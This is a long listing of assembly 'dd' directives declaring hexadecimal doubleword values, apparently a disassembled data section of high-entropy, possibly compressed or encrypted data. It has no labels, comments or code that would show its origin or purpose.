dd 0D86AACA4h, 7660CC51h, 37A23D7h, 71C27BEh, 9FCB31FFh
dd 167C2AB8h, 8624B2Ch, 52405C44h, 20CEB4BDh, 0D9D65A00h
dd 0FE2BD075h, 45D494D5h, 95C4204Bh, 91009AD1h, 1615CBA0h
dd 0C0F363h, 0F05F0336h, 0FC851E1h, 0CFDB83Dh, 3979282Fh
dd 433E4BF5h, 9896347Ch, 0D26636D9h, 10672C61h, 1C5EB11h
dd 45D5EAE3h, 0BC8FF616h, 643C5818h, 3B408188h, 0FE3A0F55h
dd 1931F0Fh, 2A9C0EA7h, 9409C5Dh, 20FC7Dh, 1219B0D7h, 0F9EF0E97h
dd 0F4726F24h, 6918F02Ch, 0DEFC7079h, 0C04D1459h, 0BF38D50Ch
dd 0D100F2B1h, 2C73F53Eh, 1AC65Ch, 9D23B262h, 60CADDDAh
dd 1D01E37Ch, 0A9AAF241h, 0AC39EBBCh, 0EA52804h, 88ACD56Dh
dd 5E305D9Ch, 6CB17179h, 1DFCBAh, 9434E307h, 0B2AF0C50h
dd 98A63602h, 44EFBC6Dh, 84B0E4h, 9C5B352Eh, 0B0D5C30Dh
dd 4520BC13h, 0D654B000h, 6025A9B1h, 1ED086Eh, 634CA035h
dd 5B3226Ch, 2AD75FB7h, 27D43E46h, 1650A03Ah, 20839Bh
dd 0A08990B9h, 9A807B30h, 0C6AE5F00h, 44EB07A2h, 88D8A1ABh
dd 3C5E0C10h, 0BF7EE200h, 46ED9918h, 881000F0h, 39CC11A3h
dd 7015F8C1h, 38C52F7h, 0F5C306A1h, 33904B3Ch, 1105EAC0h
dd 537823AEh, 0A271E8C0h, 0B050FB66h, 9DC3562h, 7580ECBFh
dd 3660FCC0h, 4A217A65h, 0F1764C00h, 0B947A0h, 0CEF237F4h
dd 0A389A84Fh, 71F0C203h, 0B050A21Eh, 0F00EB0D4h, 0F143F33h
dd 41C214Fh, 0EC27E1F2h, 31FE05A0h, 1A167F7Dh, 0AC0066B7h
dd 9EB0EB2h, 50D34DA2h, 516A3111h, 0B178023Ch, 1089D861h
dd 0EE858188h, 837DD1h, 303524AFh, 0CDED738Eh, 5529E0E7h
dd 0FCB6C09h, 0DAB0A0A6h, 78FA80D7h, 56FADEh, 811D6E23h
dd 9233C20Ch, 86D97800h, 73C33505h, 0E2BA3DC1h, 0BE32750Eh
dd 0C0079065h, 630AD64Ch, 6F7AB309h, 171498BAh, 0C3E65Ah
dd 8BB20197h, 0FDC5B07Ch, 8F4BE516h, 0EABCE402h, 0A1D4207Ah
dd 0CF4CB90Bh, 0A92450A8h, 34262E24h, 22506940h, 4ADCF886h
dd 0C10C44B2h, 400584D4h, 865B56F0h, 0AF076F8Ah, 0AE9C2C52h
dd 1A2E2DE0h, 0B83D2691h, 0D31C00D1h, 0E3288618h, 80E92039h
dd 82F4214Ah, 2D3C3277h, 9C549016h, 0B8C57200h, 0CD4276h
dd 0FAE1D73Ah, 3CFD4345h, 28C2E400h, 0AECE2C6Ah, 40060779h
dd 0C0C4F30Fh, 0BB234781h, 0F6C640C0h, 9F116F7h, 4DD479B4h
dd 0CA18DE50h, 0BA0882A3h, 9C470929h, 2580BC35h, 0D548DC6Dh
dd 0C752A90Fh, 25D3E064h, 6FA9D4Ch, 5AFF3E5Fh, 720038CFh
dd 26153AC0h, 0C7E0919h, 3BD9E989h, 0D17DBA61h, 1EBF8D3Ch
dd 3C6859D4h, 17E7C44h, 0F1F7E16Ah, 0CCFA305Bh, 0FDFA2CB7h
dd 3861CD6Ch, 861A89BDh, 7746DA88h, 832C0041h, 26944AACh
dd 9600BF92h, 0D2A24989h, 1DEFF46h, 0CF0A25E3h, 0DCEEF9F3h
dd 0FD01EF72h, 48BA3010h, 3EEC8FC9h, 23761DDFh, 0A196004Ch
dd 0C4A7F441h, 0F3DED700h, 5133EEC9h, 61AA72A4h, 0A7ED797Eh
dd 10B6860Fh, 3C487F70h, 0D7302307h, 887B32B9h, 0F1D4F301h
dd 0C451064h, 7582DFCh, 0FF206D4Eh, 0C9962091h, 2B0C36EAh
dd 10278BECh, 0B63B00D0h, 0AB8ECEE9h, 0B22009FBh, 2C0C0EC6h
dd 0B14FEA8Bh, 7ADF1E20h, 1200C31Fh, 98472BDAh, 0F80750D3h
dd 0CF8924F3h, 92C18F20h, 1DDB40Ah, 0B3546394h, 4858ECD1h
dd 0C514D812h, 0D34C1806h, 45D91831h, 26D2E974h, 2A212B00h
dd 711C6BD6h, 3DDA18A7h, 0D45B2185h, 0B1BF1C6h, 5CF30E04h
dd 0F0805750h, 15F87C09h, 18915BFCh, 85A74802h, 77DBC0DAh
dd 33AF0CD1h, 4350D206h, 84E98612h, 3A5C5Eh, 14CD5064h
dd 0F2B40267h, 0CC0830F6h, 70842548h, 0DBB83E03h, 1C8F7C9h
dd 9481D461h, 90B301D3h, 31801B30h, 8A6F5576h, 7E5C730Fh
dd 0D4AEC0E1h, 0A0CF3ED9h, 0F1BD4578h, 21984090h, 85560773h
dd 92697C5Bh, 1D00E3FAh, 0AE1CBC86h, 2A3EDAB0h, 448CC753h
dd 0FF0B71CBh, 86F067FCh, 6986B7h, 0EACB23DCh, 319DD306h
dd 0DAEED800h, 987EB685h, 586678ABh, 0AF3E0A01h, 1D96CC54h
dd 0C02B86B0h, 2C9AB9C7h, 193C734Dh, 185707C0h, 8288741Ch
dd 0BC248FFBh, 0E5A084h, 92AB8017h, 0C75602B0h, 0BF8F4696h
dd 8444C844h, 19BC00F5h, 0C19A7C3Ch, 0A7E46911h, 8C85ED03h
dd 0D0F16E9Bh, 0CF2B64Bh, 714E4FD4h, 0C800B038h, 0ECDEF746h
dd 7E74728h, 3DEEE1FDh, 7E4BF236h, 0AED20C81h, 45D180D1h
dd 6CB00D7Fh, 0D35B2A3Dh, 15940198h, 6ABD4C66h, 0A39BE0CFh
dd 63C7D802h, 902A0B2Ch, 78DC6C0h, 4BE97646h, 67C14C7Fh
dd 0BD851812h, 4C172032h, 0C9430A28h, 0DEA13E3h, 0E8196DB4h
dd 59C6DCFEh, 0A1DDAEh, 0FA9F34FCh, 0ED1E2C7Bh, 1B9AB00h
dd 0C24D21B1h
dd 2594002Ah, 45CC3C71h, 8CF7E98Eh, 41DEAE88h, 0B5392E75h
dd 2C7A012Ah, 0D0A84255h, 0C958319Bh, 0A11700C5h, 0B6C64877h
dd 0A4493781h, 5E3E80A9h, 0EF1253CAh, 0C0402096h, 0C41BFB17h
dd 61CC607Fh, 7DC2ACCBh, 8A0840E9h, 220CDD75h, 0D1D55B15h
dd 61A0003Fh, 64719707h, 19F0E3D3h, 0D92DC601h, 0E55381EFh
dd 0A42A4185h, 6CA4407Fh, 0D5D1BE70h, 43E94F03h, 0F835A337h
dd 0A44AD49Ah, 0C81B07A8h, 404D3317h, 0F3153722h, 643E8700h
dd 91545914h, 0BDC605CCh, 0C5AF6719h, 2B180359h, 4C98E772h
dd 894C12AAh, 242804F8h, 2CC8A3CCh, 184E4BDh, 0EA318CF7h
dd 87CD7CDCh, 3A0D8976h, 0EC57B370h, 0F45D243Dh, 0C3C008E0h
dd 0F9DA5B0Ch, 0B6E60041h, 0EE5776A8h, 641E1917h, 9BC09FA9h
dd 0AA751055h, 0AE9713B0h, 477C21E8h, 466A1073h, 70BC2849h
dd 0C6DA7481h, 2179A418h, 453D7C01h, 326C9D16h, 9AC214F0h
dd 397E5C20h, 30C67100h, 2C98E175h, 0ABFB1104h, 5488814Ch
dd 0CFB301F5h, 26E9A641h, 0C008A044h, 7BE7D44h, 0F9A51DCh
dd 0D07A4099h, 0D8B1D108h, 628B1D80h, 0FE5BEB52h, 233200A2h
dd 0E0F42871h, 30B80154h, 0F32C9EE8h, 4B420488h, 0F94084A6h
dd 0FB16D080h, 48C9E8D1h, 0D482ACF4h, 0F0A0BC4Ch, 3648DAB6h
dd 0E74EBDA0h, 0BED2DE0Fh, 8921D8B4h, 69F8FB63h, 0BA060086h
dd 20272CECh, 47265744h, 3D433090h, 0E751985Fh, 54211D96h
dd 112424F7h, 0F31A00C3h, 0EC3980B5h, 2486B0D9h, 20B3D532h
dd 8FF20110h, 26AA6B16h, 0E2C3E777h, 4B25B102h, 44AF1488h
dd 0B0530BBCh, 8780A4A1h, 0B9A5D5CBh, 0D9883300h, 0DFF68289h
dd 26AC07ABh, 0C0FA0E1Dh, 4DCD9553h, 1C159E2Eh, 7590BA01h
dd 0C84C0C10h, 0AD660004h, 0D6428DA6h, 0DD016FBFh, 0B1F51CB8h
dd 443043CFh, 0B0987Ah, 0C31B2388h, 0CDB2562Bh, 2970C148h
dd 4E90B0FCh, 3BC0F2C2h, 0D09234C0h, 0EC079383h, 25C608C2h
dd 959CC8B3h, 9705B8FEh, 0C8A963B7h, 3F613EC0h, 592609D5h
dd 0FC02F7C0h, 0B0E8AD4Eh, 0D96701C9h, 905EAE79h, 652E7500h
dd 98180B4Fh, 5209840Bh, 568F0FB8h, 0D4F56421h, 80AF6A01h
dd 465AC599h, 319EA8D1h, 626855F7h, 0E4A30275h, 87490EC8h
dd 1269CE4h, 6D20D8ADh, 2BBD00DBh, 2D94F30Eh, 0E6007AB3h
dd 46D81B25h, 2C42891h, 0D3579945h, 7C60CA26h, 0A8984E24h
dd 3F42F8B0h, 2C9B3061h, 201441DEh, 1700634Ch, 0DC01516Ah
dd 0C0AB4EC2h, 0C9770C41h, 0CF4C8450h, 88CE53DEh, 0C27C701Eh
dd 0CAAF2B8Bh, 0F89576C1h, 71E6CE19h, 18EEFA17h, 0CA2AA860h
dd 51C761FEh, 300B9350h, 2488CBA4h, 2635001Ch, 0B65B3C31h
dd 94B91B8Eh, 69555880h, 3B7A1D73h, 8D9C51E4h, 0F2E18097h
dd 0C5433020h, 8CD31C00h, 0C7656F50h, 54C058D2h, 22DDFD84h
dd 12B522DEh, 67E0D540h, 4BDFFD01h, 0E8615F19h, 389C71E4h
dd 1596E118h, 62843083h, 452CE350h, 0BD405C76h, 5C701Ch
dd 0F2DEB846h, 5F3AD88Ah, 90C16000h, 711DA368h, 0B1850191h
dd 998BF2BFh, 4B69FC3Bh, 0F67B42F2h, 3930155Ch, 7C6C4824h
dd 0DAF7CA00h, 0AF71BAC9h, 29B1C0D2h, 0A4812FEBh, 1AF85A0Dh
dd 98822088h, 0B42360BCh, 7E75FC44h, 6DBD6C00h, 40564779h
dd 0C4E93D9Bh, 60516780h, 0D2BFA680h, 92C4AF48h, 804BA409h
dd 76DE8F34h, 410909Ch, 86D93C7Eh, 0E9AC83E5h, 41258979h
dd 0F1642E8Ah, 0E3F94803h, 0B490225Ah, 3D005481h, 753189F6h
dd 0BEFCED0h, 84C98EE0h, 0B5CB6490h, 0DD01FD3Eh, 752A0078h
dd 0DA37737Eh, 0CC472281h, 0E01CBF2Ch, 75C1CD10h, 77CF55DFh
dd 0FD1A07C8h, 40A01D95h, 0CF62C1Eh, 0DC4CD54Ah, 44B1A321h
dd 541A5700h, 235191Eh, 0D54CF621h, 58C51650h, 0EEF87100h
dd 75642Ch, 0B0F3B3CEh, 10251363h, 0E45690A1h, 9B3C3334h
dd 8A628C0h, 14802098h, 809646DAh, 0D14478A8h, 0A13D74D9h
dd 242C500Ch, 28B133F1h, 0AE430380h, 2C189E9h, 256DE339h
dd 0B864A32Bh, 17E3Eh, 0F38B4427h, 0AA15F58h, 0D05A15B0h
dd 980BAD4h, 0F02DA3E8h, 78907742h, 0BA61A260h, 0E7F780h
dd 0DE7E2AB1h, 9A83D83Fh, 277B3Ch, 49574631h, 1D1257Ah
dd 1F212C1Dh, 0ACD34BD5h, 12604491h, 2F3D04h, 0C9FEDD05h
dd 5A3B6602h, 809C4900h, 90AF6DB9h, 0BB1D0021h, 0C9FD0E1Bh
dd 4903BEEh, 0E001A9D6h, 2C3123B0h, 1EBD7834h, 4BF2E94h
dd 884D8166h, 0D48C310h, 1471012Ch, 0AA4BF845h, 39E1FD4h
dd 2ABFFBEDh, 501E48BCh, 2CCAFD21h, 4824A444h, 89CBF708h
dd 0F4104BD4h, 1F002D20h, 39FB1BFEh, 2981C6EFh, 8D0E64Eh
dd 5B8C873Ah, 3EF741D6h, 0C687F4A2h, 0C3C1CE44h, 36F05E0Fh
dd 2B3AFA80h, 97A8124Fh, 0A4B3BC09h, 0B6671990h, 0AD0081C8h
dd 0ABD00D2Eh, 685B9FCh, 99EEF131h, 154639C0h, 233BD917h
dd 0FFC067C0h, 4848CBDEh, 1C304A8Ch, 6BED0A4h, 0D3063B71h
dd 0C3052850h, 333CAC4Eh, 8C48BC20h, 70F95CBFh, 0BDD21603h
dd 9900CEB3h, 5E6AE53Fh, 6530F1h, 947AD320h, 21E1A8B5h
dd 0D6330F0Fh, 4C46C2DDh, 1E0E424h, 1DF7A22h, 70B91D36h
dd 0AE072514h, 70BC2D30h, 0F0C34E65h, 0CE90064Ch, 71CC51D4h
dd 879CA348h, 77608503h, 0F20AFF9h, 14977A40h, 0AA3F5B62h
dd 92BBD440h, 0B91226F8h, 0A020C2CCh, 0A5DD4C81h, 942204B0h
dd 0ACBEC0B2h, 0F7000CEAh, 9E3D8CC7h, 0BA1844DAh, 0CD90CBDCh
dd 753AA402h, 95848121h, 0FE424821h, 0DABCC0A1h, 0AE802C70h
dd 4A3A40F8h, 730A3C3Fh, 0ACC6FBCAh, 0B44B01BFh, 354DD4F2h
dd 2AF8993h, 0DA0C7D14h, 0C3856C60h, 0FB087E51h, 2BBEA2C7h
dd 701CA8E6h, 0A88098CCh, 69D99B41h, 201A4AC9h, 6EC41F70h
dd 0BB5B8600h, 74FB335Ah, 7BF3001Bh, 0F244E6E2h, 160240BAh
dd 0BF4C18D3h, 20508196h, 0FC6242DAh, 2C25D207h, 0AD45401Ch
dd 1B0131A9h, 2695F91Eh, 0A83251B4h, 4E00E48Fh, 144D8BB2h
dd 38D21B2Eh, 398C2Ch, 9DFD20ECh, 1D3B02Ch, 71721E2Bh
dd 3821C3EEh, 0C6C88078h, 27BD0304h, 4934C9Bh, 0F7D3F4D8h
dd 214894Ch, 71D437DAh, 0AE50C0E1h, 30872ABh, 8E46B5E6h
dd 0FE00286Eh, 0EC214A44h, 54AECA7Bh, 68CCD7h, 4CF4945Dh
dd 0FF74DF10h, 8156C101h, 2327731Bh, 759BF460h, 3DE40088h
dd 0CF708E47h, 0B0A6CB7Dh, 7131170Fh, 3B801D0Eh, 6353E955h
dd 46010CC8h, 99F828D5h, 0C22B7D00h, 0AFF32109h, 0B82E48E9h
dd 96E42471h, 1D1A12CAh, 4F3B8024h, 7462BFDh, 0B4FF8B05h
dd 80C02579h, 30DBF558h, 0C77980A3h, 833FD3B7h, 135CE9h
dd 2503A14Ch, 0C2CA8C3h, 0EC332F3Eh, 0D978C640h, 0EDC845Dh
dd 0A78DFF6Bh, 0A18CEF4h, 8088D4AEh, 85166F7Fh, 95053077h
dd 45F48A9Fh, 6C929881h, 0E2F31407h, 8B6D80F0h, 731671h
dd 0B39C0270h, 4E87E61Eh, 0D56E9D01h, 975B9E32h, 0CC4871B9h
dd 0E6CF2E4h, 80257C31h, 0F508F411h, 10C239D3h, 44BB4E00h
dd 0A6541E37h, 210CCF4Ch, 37A11C8h, 796920D1h, 6FE48029h
dd 0D97B2D81h, 0BC439490h, 0DD6A3500h, 0F5ADF8A5h, 0BCC49122h
dd 3BC50C2h, 2C8D0B24h, 157D7C00h, 38F3E097h, 64073A8Eh
dd 848CC206h, 66ACC086h, 0D090CC91h, 3C95C600h, 0B6EA1A5Dh
dd 20BA137Ch, 43C82778h, 5B9128B0h, 12742869h, 64D050D4h
dd 7C63DAB3h, 92149CCCh, 93FC0525h, 0E4782DCDh, 850343BFh
dd 81AD62AEh, 45E6E8D2h
dd 33272C40h, 763B4060h, 0CE02FCE9h, 0C6F3CD78h, 134D096h
dd 0C2D0D9A4h, 2C4AD4CBh, 18409EA8h, 85DA2E86h, 45B20717h
dd 0F0219647h, 4DB1D1D5h, 0A809BEF0h, 3313859Ah, 741CD8B0h
dd 0A0E4306Bh, 0C3438E6Ch, 4BD6F500h, 0F35337Ch, 976907F4h
dd 0F04E844Ch, 0AEF32709h, 0AACBC63Eh, 0EE44A476h, 0C3771A8h
dd 0C453D4BFh, 0B81AA1h, 2B11C200h, 0FD1C2A17h, 0DEF4024Ah
dd 42D9CD6Ch, 804EACD9h, 5C3029E9h, 49920321h, 6FC3624h
dd 0B84C43EAh, 6CD5AE24h, 0AA3BB780h, 7A399Eh, 0FE621728h
dd 0DC3882F5h, 0C9CB68C1h, 44282AF6h, 0CC20AE25h, 0D168FB66h
dd 7FA0CE1Fh, 81930681h, 2185F147h, 88943D9h, 0E881D850h
dd 0ECA9638Ch, 71B3FD0h, 2166906Dh, 24E19F28h, 20F3D10Bh
dd 0CA2050C8h, 74B75C6Bh, 0D69F7C58h, 0EE12B8h, 0A2BBCDA8h
dd 8BE4693Bh, 4B0775EAh, 4C50B1C2h, 0F3D184Ch, 0BDCDB353h
dd 0C8FCCAC4h, 1D79BEFCh, 588114E9h, 0CE7005F8h, 50AC78CCh
dd 7A550887h, 0C024BEC5h, 0EAAF932Bh, 0A100877Ah, 0FCE0D3D6h
dd 73D2221Bh, 8E7000F6h, 0C3BB6C1Ch, 5B007B8Ch, 94AC4ACCh
dd 261492EDh, 40485181h, 0C82C212Ah, 31C9D60Eh, 0C488D290h
dd 0F6EC01A3h, 161F636Ch, 578EC0Dh, 9B353B13h, 0A8E544C3h
dd 9C4B8115h, 21B39250h, 833A2720h, 0D459C8ACh, 8D7AA024h
dd 0EC3B4CDAh, 40D15B85h, 4BA77688h, 0B37A58C9h, 3DFE6C05h
dd 0F4801C29h, 7276A71h, 17DBA64Ch, 0C09B6222h, 280970E0h
dd 9A80A77Eh, 37CF14D3h, 0B70BBCEFh, 640163F8h, 295B1AC5h
dd 8D3A09C4h, 438C8075h, 1F2F2DE8h, 0E22B0C96h, 0E0056898h
dd 0E3F61DA7h, 80B64882h, 16671308h, 52E4B61Eh, 0C94A1C40h
dd 0A27B4484h, 11FDBD07h, 73A077F7h, 42B714Dh, 4AD54C45h
dd 0F32040C0h, 1574B196h, 0A4DCAED3h, 51DA4907h, 0EB9070ABh
dd 18001209h, 2A43F405h, 758D801Ah, 8C24BE0Bh, 4D9990C6h
dd 454BE80h, 0C4EB5F70h, 0AA808CC2h, 8AD35000h, 0EFD788FAh
dd 9637001Bh, 84F3768Ch, 0E40B4B3Eh, 1332F781h, 0E8394C6Ch
dd 9F4715C0h, 2E00B9ACh, 2CDF66B6h, 213174h, 83165844h
dd 0DD96812Bh, 0CB5A7B01h, 0BC799B8Bh, 2F7DA40h, 73063D0Fh
dd 383E2381h, 31EF51CAh, 0A6BAFC7Ah, 4E25E93Eh, 333C4C00h
dd 7EE1D8Ch, 0D9B346DDh, 1BF53134h, 0C7B8296Eh, 0C9C5FE77h
dd 393C87C1h, 89E9E849h, 0BB035439h, 0F7522469h, 20B4702Dh
dd 0F113DFE8h, 986300EFh, 0FB0B5908h, 0BE44D0A5h, 0A8326B3Dh
dd 0EF50DC00h, 2B00D2DEh, 0B9ED814Ch, 0B6979DAh, 4BAAB427h
dd 0D2FEE022h, 0B512D311h, 4CC94A60h, 27FAC712h, 58206013h
dd 52AC39Bh, 9A50D81Bh, 183C88A4h, 7D8E4107h, 0B8500DFAh
dd 964ED4D3h, 6054AC0Ch, 0BF63DE88h, 0BCB2BE00h, 46F1449Dh
dd 0D5C20032h, 0DF220B1Dh, 9A02BD81h, 6A43238Ch, 2FCC5821h
dd 0B87E4B96h, 0E8A4750Bh, 0F6EEACh, 0C8EA73F3h, 0A4BB96Dh
dd 3B71721Dh, 0CEDFFF40h, 913DDA5Fh, 5CC02074h, 8B00BC44h
dd 1AD37E1Bh, 0FB05B054h, 96E756ADh, 81D4D420h, 9F2802B1h
dd 0C6F9CA2Ch, 761EBE20h, 0D320000Dh, 269D9BF8h, 0CB006AE4h
dd 37A1565h, 947C3CDAh, 0FFAC6E94h, 26247211h, 0D00881Eh
dd 808E2728h, 0DE18000Eh, 0CA7DFBE1h, 1618A2EEh, 0A731CE5Bh
dd 1D980297h, 5103B26Dh, 81B7CC40h, 14224C4Fh, 17D31043h
dd 0C79D5409h, 0CB00C882h, 948ECA4h, 0D9F9BF8Dh, 9950DC60h
dd 0FA302104h, 0B4A01C3Bh, 51A8BC10h, 0C5E70D8Bh, 5B2594A4h
dd 49A040B4h, 0FB053239h, 4A185600h, 77D5250h, 31002B3h
dd 0C4D31C2Bh, 4496844Ch, 0D0CDD093h, 0B408A031h, 0CC30BC1h
dd 0B888A6FBh, 0CF868048h, 0EF3A710Bh, 54CBBE16h, 85253CC0h
dd 50C401E3h, 84D80B1Ch, 26D1E47Bh, 4DA1B418h, 0C083A440h
dd 80104B49h, 871EBF75h, 0C140196Dh, 38EAC478h, 655316F9h
dd 7C14C98Dh, 929A0E8h, 871800B4h, 6AC3467Ah, 0D8002220h
dd 338E3E7Ch, 4C214C0Fh, 0AF02743Ch, 25D732FCh, 0CCABE061h
dd 68B8837Bh, 1098144Bh, 0BC988C40h, 98737C80h, 6871565Ah
dd 4C62F3C9h, 0C1228858h, 39DFFDF8h, 0E750982Dh, 0AE0F0h
dd 0D0B573F9h, 904AD38h, 1D8ABE02h, 53803EDAh, 0A07980C0h
dd 5A455EABh, 0F2B31D0Bh, 13186455h, 0CAD25381h, 0BF6B0134h
dd 0FA375056h, 3C4428A4h, 84819102h, 0B8541CA1h, 0E390F362h
dd 9B7DE81Ch, 0A4132E83h, 202940D8h, 720031F7h, 2F6177D8h
dd 48F96A47h, 730E4869h, 1C4BF019h, 6190C484h, 4817D1EAh
dd 1D531680h, 2482A7D6h, 11D49DADh, 16B0E93h, 0ABF8AEA5h
dd 4CCCCh, 0CD1C3189h, 0A8545C94h, 0A7B4F000h, 7AE0B2DDh
dd 0CBB90937h, 0E0E44EB8h, 26901A4Ch, 33C5CBCh, 7A0F462Ch
dd 2530CFBEh, 97F9E4Ch, 5A34E1EDh, 1607D05Ah, 0A33A073Ch
dd 0E4FD8BA0h, 2C1972D5h, 40D8B462h, 0AA89A18Eh, 0FC616B00h
dd 2BB1B73Ch, 27AC7C5Bh, 4902C1Eh, 7000A7D4h, 30371AE7h
dd 4882500Bh, 0DC4C404Bh, 0F7EE013h, 1E67DF03h, 0D19652CCh
dd 83C9963h, 4A98BCB2h, 3C715CCCh, 0AD808DAEh, 0DD0F9A37h
dd 20F8F1Ch, 60A6474Fh, 1BEC6D0Ah, 0B82F545Bh, 0CD4C32D4h
dd 2483A3B9h, 80879055h, 0BB59B54Ah, 2E1AF200h, 751464Eh
dd 628CB1DFh, 5C609248h, 0BC88EF01h, 98497E3Ch, 269502B6h
dd 0E7374092h, 34543442h, 5A54D542h, 70AF4D60h, 78280B26h
dd 28907E41h, 7F0B6C98h, 495A6698h, 0E5608CDCh, 816C0746h
dd 374AB5h, 4416B2A8h, 470127FAh, 2ED13DAEh, 7C6014E9h
dd 0C9C2444Bh, 8968F54Ch, 981078BDh, 0F3A01338h, 4DD0208Ah
dd 4C2D7680h, 557002F7h, 283865D2h, 0E1130058h, 320A596Eh
dd 0C40C810Fh, 0B2B1C91Eh, 56542EB5h, 50452550h, 0C2A47E90h
dd 385C4F70h, 3CB14E60h, 41BCA638h, 45EEC491h, 66E99625h
dd 0AF6E07E4h, 80719097h, 4E811BC7h, 2A89C0BCh, 0CB6C841Ch
dd 40E52B49h, 6A69C818h, 46674FF1h, 6178A37Ch, 75DFC706h
dd 13D8E845h, 44CD5B48h, 4AD74C38h, 5440B4B3h, 39EEA3F3h
dd 4B830B6Fh, 0F140AC7Ch, 1CAEC087h, 0CE1E6615h, 861493CBh
dd 0A44B1408h, 945914h, 2C7913A9h, 0E4CA2F10h, 0EED4021Ah
dd 0BE9B18B3h, 0C42A1C49h, 47266B1Dh, 992DC4B7h, 6B08C0BCh
dd 80C72539h, 431D2B90h, 0E8A1BC38h, 12C7D62h, 6CD265E7h
dd 32AF6DBFh, 5F590750h, 0F0C30C9Ah, 0B0A4E41Ch, 0F13200CFh
dd 0E875E80h, 9700AE20h, 68E55B9Ch, 504BDB83h, 8456E81Bh
dd 40A43CA3h, 0C21CC726h, 0BF562E16h, 0A2CB4470h, 63581C94h
dd 0CF5D97C0h, 1775D4C7h, 42B395E4h, 47DAC0BCh, 5281CC90h
dd 6678ECA6h, 0C8E34F29h, 0B000CE11h, 0EE9E3DDBh, 467C1B94h
dd 34C0F000h, 0BA1523C6h, 24D9F25Ah, 444CA74Bh, 43F080FBh
dd 924B4759h, 81397088h, 64E605F7h, 4A88A103h, 0F7DB8522h
dd 71B73FE1h, 207C02D4h, 2742F082h, 745A6856h, 0FBDA4038h
dd 0FCF2E59Ah, 204454Ch, 4754441Ch, 3B44828Dh, 248C4434h
dd 0AD4DF4Ch, 178B4C1h, 0BB011705h, 9182700Dh, 193ACD07h
dd 15F0A1BDh, 13311227h, 2BEF55FFh, 38204E00h, 0DB7593h
dd 0A25EA819h, 0DA67FFF6h, 2414D2Fh, 6FDED740h, 81A48C68h
dd 8803E119h, 0B18A24A1h, 779488B2h, 0B3C03822h, 0E41070A5h
dd 0D00A2DFh, 0B21208FFh, 0F30E5B52h, 5ED50060h, 1ABC4B55h
dd 60C0508Ah, 8D90705Ch
dd 22D9C404h, 48921C23h, 0C60110C1h, 83B4808Ah, 162CB6CFh
dd 5279F782h, 0D4FCA48Ch, 60C8514Bh, 159100F2h, 2C8A553Bh
dd 0B604FB0Ch, 0D1FD8654h, 2A0384EDh, 165B3576h, 0AA7C8180h
dd 0F4121C5Ah, 0D1C1C062h, 0DC1C17ECh, 61003720h, 0C97BDC80h
dd 13F92186h, 14C06A9h, 4ACFD2A4h, 64A6DC11h, 365E3007h
dd 7EF59073h, 0B0F30805h, 0C10C1414h, 9FF4BDA2h, 24F215C8h
dd 54BD8h, 0D59775Eh, 0B7002FD1h, 763E1DD4h, 0B15CBE9h
dd 0BB4AAF6Ah, 9E0048ECh, 0AEA5F90Ch, 12823E3h, 654B211Fh
dd 0DC77C425h, 0CB07547Bh, 15799D8Ah, 0AE320670h, 0A3DE06D3h
dd 48EF93C3h, 9A138C00h, 69B02596h, 7C4E1797h, 8A743073h
dd 0C10EF095h, 0FA4656h, 3630FC80h, 7E970038h, 0D8A733E7h
dd 7938211Ch, 2A6F00F6h, 16904131h, 0C1C70702h, 0B0BE9319h
dd 0A47DC2B0h, 3B0DF13Dh, 20CA2DCCh, 56019FE0h, 0D6AE30C5h
dd 81A58B79h, 0A7D3BB00h, 2FA69C07h, 21515E4Ch, 6AF3C988h
dd 31575C22h, 58252E50h, 0E300ECA2h, 0FEC4840Dh, 420F68B0h
dd 0F7B48D57h, 7BA45C81h, 0FE8F2980h, 0D3E28465h, 83EFD712h
dd 0BC2110F3h, 0A7D0F908h, 0E7B278C0h, 643C3000h, 0DA1BE994h
dd 98404AA7h, 0C460B40Ch, 0F67C7F41h, 0A4D80099h, 810AC24Fh
dd 80A9CE4Dh, 26A5F44Ah, 28CAC305h, 94022AD4h, 0C0FA746Ch
dd 2471854Ch, 6460268Ah, 2E832233h, 0B4C75980h, 900064E0h
dd 0B26FC84Eh, 400A50h, 0C2212246h, 0F443751Dh, 0F3010D01h
dd 10E9C8B7h, 1A58CC0h, 23AD4674h, 9F38A0EBh, 4881FAD8h
dd 159DEEACh, 0AE027822h, 0D2F268CBh, 0E71F14F9h, 0E98FC6DEh
dd 752DA177h, 0F6FC2C21h, 82C7351Bh, 0F41480A0h, 0AE22CFA5h
dd 0D7CE00D8h, 9975AD5Bh, 0EA012588h, 0C2EB0AB0h, 0D989F4A4h
dd 146B4681h, 8D240DE0h, 49AD4B1Fh, 32F5B500h, 3E3ACEB0h
dd 7D00845Ch, 0EB8D45E5h, 2F0086F2h, 0B44643E3h, 6BECC1Fh
dd 0BD6B4214h, 0A88008A2h, 6EB89A90h, 15D36F02h, 40E16D83h
dd 2D0DE3h, 0CB21CE42h, 9716A2E6h, 7AF37300h, 192FFAD4h
dd 13F4D6h, 66682DC0h, 23869369h, 0E85A1B27h, 0CE3410h
dd 85BF62C2h, 18A7ECF4h, 5FFFB500h, 0DF27E8ADh, 901C5029h
dd 1ED23F30h, 359450C5h, 6612E22Bh, 0D0F3BAC4h, 8975C04Ch
dd 4F78662Ah, 0EBACC823h, 9880E04Dh, 7F2F034Ch, 77604173h
dd 687D7498h, 5AFD1C00h, 0CD6CEF90h, 0C090B5C6h, 797E0616h
dd 0BC9E7701h, 0B26A0EF1h, 4274F1F2h, 0EC85C1B6h, 0F068E4BFh
dd 0E9C3B388h, 48C6A100h, 7B279704h, 20A87CBEh, 5FA0503Fh
dd 8CF21B0Eh, 0F6F6AE8Ah, 0A8951031h, 204CD4CAh, 0E53400C6h
dd 69C2AB86h, 0DB0EF096h, 0A10665B3h, 0B7CA8550h, 0E175D468h
dd 0AC8893FAh, 0B110D840h, 0D9E43315h, 8D289900h, 0D6CC4FFEh
dd 205D4FC0h, 0DC09C864h, 0F300CBE4h, 2BA1C339h, 27B64755h
dd 0E82468F9h, 0F8EC8389h, 0C2F8A9EDh, 41855B3Bh, 1828A58Ch
dd 11012103h, 22C19B35h, 2A08487Ah, 3C071B4Ah, 2C72AEB1h
dd 0F60DEB4h, 0D5E09043h, 0E953653Bh, 0EE7C1F01h, 0D35B16A3h
dd 0FC07E180h, 0DBAA78F1h, 0C5C7B100h, 5D38DE0Bh, 706C001Ch
dd 316B1B2Ch, 212F8BCEh, 0C9B021CAh, 90207CC8h, 3A4302B3h
dd 903FDA1Fh, 0E8C7B84Ah, 9B397880h, 7D297ACh, 9A42ED6Ah
dd 0D2B10D0h, 3029847h, 0CA7552F7h, 80CC56FEh, 6C79DA25h
